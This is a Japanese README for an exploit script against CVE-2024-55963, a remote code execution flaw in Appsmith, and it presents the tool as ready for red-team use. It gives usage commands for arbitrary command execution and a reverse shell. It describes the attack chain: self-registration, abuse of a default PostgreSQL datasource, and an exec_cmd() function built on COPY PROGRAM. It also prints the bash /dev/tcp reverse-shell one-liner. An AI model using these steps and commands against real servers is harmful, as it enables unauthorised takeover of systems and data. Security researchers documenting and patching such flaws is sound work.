CVE‑2024‑55963 Appsmith RCE PoC

CVE‑2024‑55963 の PoC エクスプロイト。脆弱な Appsmith インスタンス上で任意のコマンドを実行したり、リバースシェルを生成します。

自動的に最新のサーバー（environmentId 機能を持つ）とそれ以前の古い「レガシー」ビルドの両方を処理するため、v1.20 から最後の脆弱なリリース v1.51 までのすべてのバージョンで1つのスクリプトを使用できます。

クイックスタート

# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"

# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>

注意: サーバーがセルフサービスのサインアップを許可している限り、任意の認証情報が機能します。スクリプトは最初にログインを試み、アカウントが存在しない場合は登録にフォールバックします。

動作の仕組み（概要）

1. CSRF & セッション処理 – いくつかの可能なエンドポイントまたはクッキージャーからトークンを取得し、それを引き継ぎます。
2. ログイン/サインアップフロー – 提供されたメールアドレス/パスワードでログインまたは新しいユーザーを登録します。
3. ワークスペースの発見 – 既存のワークスペースを取得するか、オンボーディングフローをトリガーして自動的に作成します。
4. 環境検出 – /api/v1/environments/workspaces/{id} をクエリし、存在しない場合はレガシーモード（空の environmentId）に切り替えます。
5. アプリケーションとページの設定 – /api/v1/applications にPOSTし、pageId を抽出します。
6. データソースの作成 – localhost:5432 を指し、postgres/postgres 認証情報を使用するローカル PostgreSQL データソースを構築します（脆弱なデフォルトの pg_hba.conf によって許可されています）。
7. SQLオブジェクト – ヘルパー PL/pgSQL 関数 exec_cmd() と、STDOUT を収集するスクラッチテーブル cmd_output をアップロードします。
8. コマンド実行 – /api/v1/actions/execute エンドポイントを介して SELECT * FROM exec_cmd('<your cmd>') を実行します。
9. リバースシェル（オプション） – bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' を実行します。

必要条件

• Python ≥ 3.8
• requests

テスト済みバージョン

Rhino Security Labs PoC との違い

この PoC は Rhino Security Labs のエクスプロイトを少し強化したものです（研究をレビューしていた際、彼らがすでに公開 PoC を持っていることに気づきませんでした）。

Rhino の PoC は静的なヘッダー、クッキー、認証情報を使用します。そのエクスプロイトをテスト中、特定のバージョンでアカウントが既に存在する場合に問題が発生しました。このスクリプトでは、ユーザーがコマンドラインから任意のメールアドレス/パスワードの組み合わせを入力できます。前述の通り、CSRF トークンはハードコードされた値に頼るのではなく抽出されます。

• このバージョンは Environments API エンドポイントを持たない古いサーバーでも動作します。
• 実行パスが異なります。これは exec_cmd() PL/pgSQL ラッパー内の COPY PROGRAM を活用し、/actions/execute API を使用しますが、これはおそらくよりノイズが多いです。Rhino は組み込みのスキーマプレビューエンドポイントに依存して、アドホックな COPY (SELECT …) ステートメントを発行します。そのエンドポイントは出力長を切り詰め、余分な引用ルールを追加するため、長いコマンドやチェーンされたペイロードを渡すのが難しくなります。
• シングルリバースシェルフラグ (:
• アプリ/データソース/関数名をランダム化
• pyfiglet 依存関係なし
• environmentId ヘッダーを自動検出することで古いサーバーをサポート。Rhino のエクスプロイトはそれが常に存在することを前提としています。

これらの設計上の選択により、エクスプロイトはより短く、より信頼性が高く、レッドチームでの使用に優しくなり、同時に同じ根本的な脆弱性を実証しています。

参考文献

rhinosecuritylabs.com

法的注意事項

このコードは教育および許可されたテスト専用として提供されます。所有していない、またはテストする明示的な許可がないシステムに対して実行することは、違法となる可能性があります。著者は誤用に対する一切の責任を負いません。